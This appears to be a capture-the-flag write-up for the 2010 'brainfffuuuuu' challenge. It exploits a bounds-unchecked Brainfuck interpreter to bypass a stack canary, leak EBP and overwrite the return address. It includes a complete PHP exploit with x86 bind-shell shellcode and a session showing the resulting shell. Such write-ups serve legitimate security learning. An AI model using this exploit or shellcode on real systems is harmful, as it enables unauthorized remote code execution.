Leet More 2010 brainfffuuuuu writeup

Category: CTB

This binary is running at ctf.ifmo.ru
Are you able to get the key?!

Let’s take a look at what the binary is doing (decompilation of its main function begin_the_fucking() will help us):

1. Prints out some prompt
2. Reads 30 bytes
3. Interprets them as Brainfuck code.

and here is what the stack of that func looks like:

From the disassembly, we see that interpreter doesn’t check the bounds for edi, and data memory is located on stack, so we probably can overwrite ret address and exec a shellcode. data_mem has enough space for our shellcode :)

The difficulties are the stack canary, which we can’t overwrite or the shellcode wont execute, and brainfuck code limit: we need to squeeze all the fucking in 30 bytes.
A useful brainfuck contruct here is ‘[>,]‘ – input a zero-terminated string into data. Let’s construct an exploit, considering what we have on the stack.

1. Bf code: +[>,]
Overwrite as much memory as we can.
It’s safe to overwrite all the data_mem with 4054 bytes of nopslide and a shellcode in the end. Next, we have code_mem – there we’ll just write brainfuck code that is already there. Next, int bf_eip is on our way. We can calculate its value in the moment or overwriting so that we wont ruin the code flow, but after writing the first byte, we will have to write \x00, and the string-writing loop will be over.

2. Bf code: >>>,
Skipping 3 remaining bf_eip bytes, we stop at the first byte of int bf_edi (offset 0x0FFC). Write \xFF there to move edi 3 bytes further and save 3 precious bytes of bf code :) After this, data_mem[edi] points to 4th byte of int code_len

3. Bf code: >>>>>>>>>
Skip the last byte of code_len, then skip int loop_depth and Stack Canary. Stack address is randomized with every connection, and we need to know where the shellcode is, so…

4. Bf code: .>.>.>.
Print out Saved EBP. It will contain the random part of stack address.

5. Bf code: [>,]
Finally overwrite the ret address. Disassembly tells us that Saved EBP – 0x1000 will point inside our nopslide, so that’s a good address to ret to.

Complete brainfuck payload:
+[>,]>>>,>>>>>>>>>.>.>.>.[>,]A (‘A’ is added for padding to 30 bytes)

And the code that implements all the exploit in PHP:

if (!isset($_SERVER['argv'][2]))
 exit("USAGE: sploit.php [target ip] [bindshell port]\n");

$s = fsockopen($_SERVER['argv'][1], 9999);
do {
 $oldc = $newc;
 $newc = fgetc($s);
} while ($oldc != '$' || $newc != ' ');

$bfcode = "+[>,]>>>,>>>>>>>>>.>.>.>.[>,]A";
             // bind shell on XXXX/tcp
$shellcode = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd"
           . "\x80\x5b\x5e\x52\x68\xff\x02" 
                         . pack("n", $_SERVER['argv'][2]) . 
                                               . "\x6a\x10\x51\x50\x89"
           . "\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd"
           . "\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49"
           . "\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
           . "\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
fwrite($s, $bfcode);
fwrite($s, str_repeat("A", 4053 - strlen($shellcode)));
fwrite($s, $shellcode);
fwrite($s, $bfcode);
fwrite($s, "\x03\x00");
fwrite($s, "\xFF");
$ebp = fgetc($s) . fgetc($s) . fgetc($s) . fgetc($s);
echo "read EBP: " . bin2hex($ebp) . "\n";
$ebp = unpack("Vebp", $ebp);
$ebp = $ebp['ebp'];
$ovreip = $ebp - 0x1000;
$ovreip = pack("V", $ovreip);
echo "ovr EIP: " . bin2hex($ovreip) . "\n";
fwrite($s, $ovreip . "\x00");


Go go go!

> \php\php sploit.php ctf.ifmo.ru 3456
read EBP: 28a9fbbf
ovr EIP: 2899fbbf

> \temp\nc ctf.ifmo.ru 3456
uid=65534(nobody) gid=65534(nogroup)
ls -la
total 24
drwxr-x---  2 root nogroup 4096 Sep 20 22:49 .
drwx------ 30 root root    4096 Sep 20 22:49 ..
-rwx------  1 root root    9744 Sep 20 22:49 brainfffuuuuu
----r-----  1 root nogroup   56 Sep 20 22:49 key
cat key

More write-ups on “brainfffuuuuu”:

Leave a Reply

Your email address will not be published.